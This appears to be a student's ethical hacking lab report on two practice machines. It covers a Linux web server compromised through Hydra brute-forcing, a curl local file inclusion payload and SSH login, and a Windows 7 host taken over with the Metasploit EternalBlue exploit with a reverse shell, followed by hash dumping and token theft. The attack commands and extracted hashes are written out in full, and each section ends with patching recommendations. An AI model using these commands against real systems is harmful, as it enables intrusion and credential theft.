Ethical Hacking - Assignment 2 Report

Siddhant Kadam

29/07/2025

Target Machine 1 – 192.168.2.20 (CentOS 7.9)

1. Reconnaissance and Target Analysis

Network Discovery:

```
netdiscover -r 192.168.2.0/24
nmap -sV -T4 -p- 192.168.2.20
```

Nmap Results:

```
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.x
80/tcp open http Apache httpd 2.4.6 (CentOS)
139/tcp open netbios-ssn Samba smbd 4.x
445/tcp open microsoft-ds Samba smbd 4.x
```

2. Exploitation

Web Enumeration:

```
gobuster dir -u http://192.168.2.20 -w /usr/share/wordlists/dirb/common.txt
```

Discovered endpoints:

- /reports/
- /reports.php

Hydra Brute-force Attack:

```
hydra -l abondman -P /usr/share/wordlists/rockyou.txt 192.168.2.20 http-post-
    form "/reports.php:login=^USER^&password=^PASS^&report=annual.txt:F=Invalid
    "
```

Credentials found:

- abondman : sunshine1
- bbondman : trustno1

Local File Inclusion (LFI):

```
curl -X POST http://192.168.2.20/reports.php -d "login=abondman&password=
   sunshine1&report=../../../../etc/passwd"
```

Extracted files:

- /etc/passwd
- .bash_history

SSH Login:

```
ssh abondman@192.168.2.20
Password: sunshine1
```

Confirmed shell access and explored user space.

3. Post-Exploitation

- Checked user privileges
- Reviewed `.bash_history` for clues
- Verified access for both `abondman` and `bbondman`
- Ran `sudo -l` (output not fully captured)

Recommendations for 192.168.2.20

- Sanitize file inclusion inputs
- Disable directory listing
- Use SSH key-based authentication
- Apply latest security patches to Apache, PHP, and Samba
- Prevent brute-force login using account lockout policies

Conclusion for 192.168.2.20

192.168.2.20 was compromised using weak credentials and an LFI vulnerability. Full shell access was gained using SSH. Alternative approaches could have included using Nikto, log poisoning, or privilege escalation via SUID binaries.

Target Machine 2 – 192.168.2.120 (Windows 7)

1. Reconnaissance and Target Analysis

Service Scan:

```
nmap -sV -T4 -p- 192.168.2.120
```

Nmap Results:

```
PORT STATE SERVICE VERSION
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds Microsoft Windows 7 - 10 microsoft-ds (workgroup:
    WORKGROUP)
```

2. Exploitation

Check for MS17-010 (EternalBlue):

```
use auxiliary/scanner/smb/smb_ms17_010
set RHOSTS 192.168.2.120
run
```

Exploit via EternalBlue:

```
use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS 192.168.2.120
set LHOST 192.168.2.10
set PAYLOAD windows/x64/meterpreter/reverse_tcp
exploit
```

Result: Meterpreter session opened with SYSTEM privileges.

3. Post-Exploitation

Commands Used:

```
getuid
sysinfo
hashdump
ps
steal_token 468
getuid
```

Hashdump Extract:

Listing 1: NTLM Hashdump

```
 Administrator
  - RID: 500
  - LM Hash: aad3b435b51404eeaad3b435b51404ee
  - NTLM Hash: 31d6cfe0d16ae931b73c59d7e0c089c0 (Empty Password)
```

```
Ann Bondman
 - RID: N/A
 - LM Hash: aad3b435b51404eeaad3b435b51404ee
 - NTLM Hash: 80cc43865ff31e659c1742f57f88275b

Guest
 - RID: 501
 - LM Hash: aad3b435b51404eeaad3b435b51404ee
 - NTLM Hash: 31d6cfe0d16ae931b73c59d7e0c089c0 (Empty Password)
```

Recommendations for 192.168.2.120

- Patch MS17-010 immediately
- Disable SMBv1 protocol
- Enforce strong password policies
- Restrict SMB access by IP
- Upgrade to a supported OS

Conclusion for 192.168.2.120

Windows 7 machine was successfully exploited via the MS17-010 EternalBlue vulnerability. SYSTEM-level access was obtained and NTLM hashes were extracted. Additional attacks could include lateral movement, token impersonation, or Pass-the-Hash.
A detailed video walkthrough of the penetration testing process, including network setup, exploitation steps, and findings, is available here: `Video Demonstration Link`

End of Report